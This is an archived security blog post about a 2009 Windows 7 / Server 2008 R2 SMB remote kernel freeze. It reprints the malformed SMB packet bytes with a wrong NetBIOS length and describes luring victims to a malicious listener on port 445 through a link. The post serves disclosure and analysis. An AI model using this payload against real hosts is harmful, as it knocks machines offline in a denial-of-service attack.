<p>Python code was posted today by Laurent Gaffie on <a href="http://g-laurent.blogspot.com/" target="_blank">his blog</a>, demonstrating a much too easy way to remotely crash a Windows 7 or Windows Server 2008 machine. The crash is caused by sending a NetBIOS header which specifies that the SMB packet is 4 bytes smaller or larger than it actually is.</p>

<p>In this code sample below, you can see that the header has the length of the packet set to 9a rather than 9e (4 bytes smaller). Update: We have tested with different variations, such as 1 byte and 2 bytes off, which also caused the crash.</p>

<pre><code>packet = "\x00\x00\x00\x9a" # --&gt; length should be 9e not 9a.. 
"\xfe\x53\x4d\x42\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x41\x00\x01\x00\x02\x02\x00\x00\x30\x82\xa4\x11\xe3\x12\x23\x41"
"\xaa\x4b\xad\x99\xfd\x52\x31\x8d\x01\x00\x00\x00\x00\x00\x01\x00"
"\x00\x00\x01\x00\x00\x00\x01\x00\xcf\x73\x67\x74\x62\x60\xca\x01"
"\xcb\x51\xe0\x19\x62\x60\xca\x01\x80\x00\x1e\x00\x20\x4c\x4d\x20"
"\x60\x1c\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x12\x30\x10\xa0\x0e"
"\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"
</code></pre>

<p>We also tested this by setting 9e to aa (4 bytes larger) to see if it had the same affect and it indeed it did.</p>

<p>A little about the “crash”. The Operating System actually freezes. There is no error message, no blue screen of death, no indication that anything has gone wrong. Even after power cycling, the event logs show no sign of a mishap, aside from the typical events generated from booting up again.</p>

<h4>Demonstration</h4>

<div class="wp-caption" style="float: right;margin: 5px;margin-left: 42px;margin-right: 21px;margin-bottom: 30px;"><a title="Frozen Windows 7" rel="lightbox" href="http://praetorianprefect.com/wp-content/uploads/2009/11/ScreenHunter_04Nov.1115.11.gif"><img src="http://praetorianprefect.com/wp-content/uploads/2009/11/ScreenHunter_04Nov.1115.11.gif" border="1" alt="NY Crime Rate Drop" width="300" height="218" /> </a></div>

<p>Our victim targets are:</p>

<ol>
<li>A Windows 7 Professional workstation with latest patches. </li>
<li>A Windows Server 2008 R2 Standard Core Edition with latest patches.</li>
</ol>

<p>On Open BSD, Mac OSX, and Linux 2.6 workstations, we ran the python code and had it listen on port 445.&#160; I would have had a Windows server run the listening server, but SMB on Windows already listens on port 445 and for the purpose of the demonstration it was easier to run it on machines that do not listen on this port by default.&#160; From the Windows 7 and Windows Server 2008 victim machines, we simply attempt any type of SMB connection to the bad hosts listening with the Python code. This can be done by simply doing a directory command (dir) to a non-existent share (<code>dir \\ip-address\share</code>).</p>

<p>The screenshot below shows the command window with the dir command used to attempt a connection to a host (172.17.20.139) which is running the Python code, ready to send that SMB packet over. As soon as the connection is attempted, the whole machine freezes. I had resource monitor and task manager running and every counter, even the ticking of uptime, stopped dead. In some cases, I left the machine in this state for a significant amount of time.&#160; Also, the host was no longer pingable, so once the crash occurred, it was off the network and no longer attempting any more SMB traffic.</p>

<h4>What is the big deal?</h4>

<div class="wp-caption" style="float: right;margin: 5px;margin-left: 42px;margin-right: 21px;"><a title="Internal Example URI" rel="lightbox" href="http://praetorianprefect.com/wp-content/uploads/2009/11/ScreenHunter_06Nov.1115.51new.gif"><img src="http://praetorianprefect.com/wp-content/uploads/2009/11/ScreenHunter_06Nov.1115.51new.gif" border="1" alt="NY Crime Rate Drop" width="300" height="218" /> </a></div>

<p>To simulate how an attacker could use this, we hosted a small internal web page, with a simple link to direct the user to our malicious host. Now, as seen in the image below, our link was very obvious for demonstration purposes, users can be redirected in various obfuscated ways.&#160; Although remote elevated privileges or sensitive data theft is not part of this proof of concept, this can still be a very troublesome issue.</p>

<hr />

<h3>References</h3>

<ul>
<li>g-laurent.blogspot.com: <a href="http://g-laurent.blogspot.com/">Windows 7 / Server 2008R2 Remote Kernel Crash</a></li>
<li>informationweek.com: <a href="http://www.informationweek.com/news/security/vulnerabilities/showArticle.jhtml?articleID=221601573">Microsoft Investigating Zero-Day Windows 7 Flaw</a></li>
<li>darkreading.com: <a href="http://www.darkreading.com/security/app-security/showArticle.jhtml?articleID=221700053&amp;cid=ref-true">Microsoft Looks Into Bug That Can Crash Windows 7</a></li>
<li>thetechherald.com: <a href="http://www.thetechherald.com/article.php/200946/4784/Microsoft-Kernel-Smash-vulnerability-being-investigated">Microsoft Kernel Smash vulnerability being investigated</a></li>
</ul>

<h3>Update</h3>

<p>Microsoft says this is being investigated as a possible denial of service vulnerability, but initially responded that correcting it will be handled in the first service pack updates for Windows 7 and Server 2008 R2 rather then as a &quot;Patch Tuesday&quot; security update.</p></p>

<p>Microsoft has posted a <a href="http://www.microsoft.com/technet/security/advisory/977544.mspx">security advisory (977544)</a> regarding the issue.</p>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/03/iepeers-a-new-internet-explorer-zero-day-vulnerability/">IEPeers &#8211; A New Internet Explorer Zero Day Vulnerability</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/3473/">March&#8217;s Patch Tuesday</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/press-f1-for-help-pwned/">Press F1 for Help, pwned.</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/the-aurora-ie-exploit-in-action/">The &#8220;Aurora&#8221; IE Exploit Used Against Google in Action</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/windows-smb-crash-video/">Windows 7 SMB Kernel Crash Video</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2009/11/how-to-crash-windows-7-and-server-2008/feed/</wfw:commentRss>
		<slash:comments>24</slash:comments>
		</item>
	</channel>
</rss>
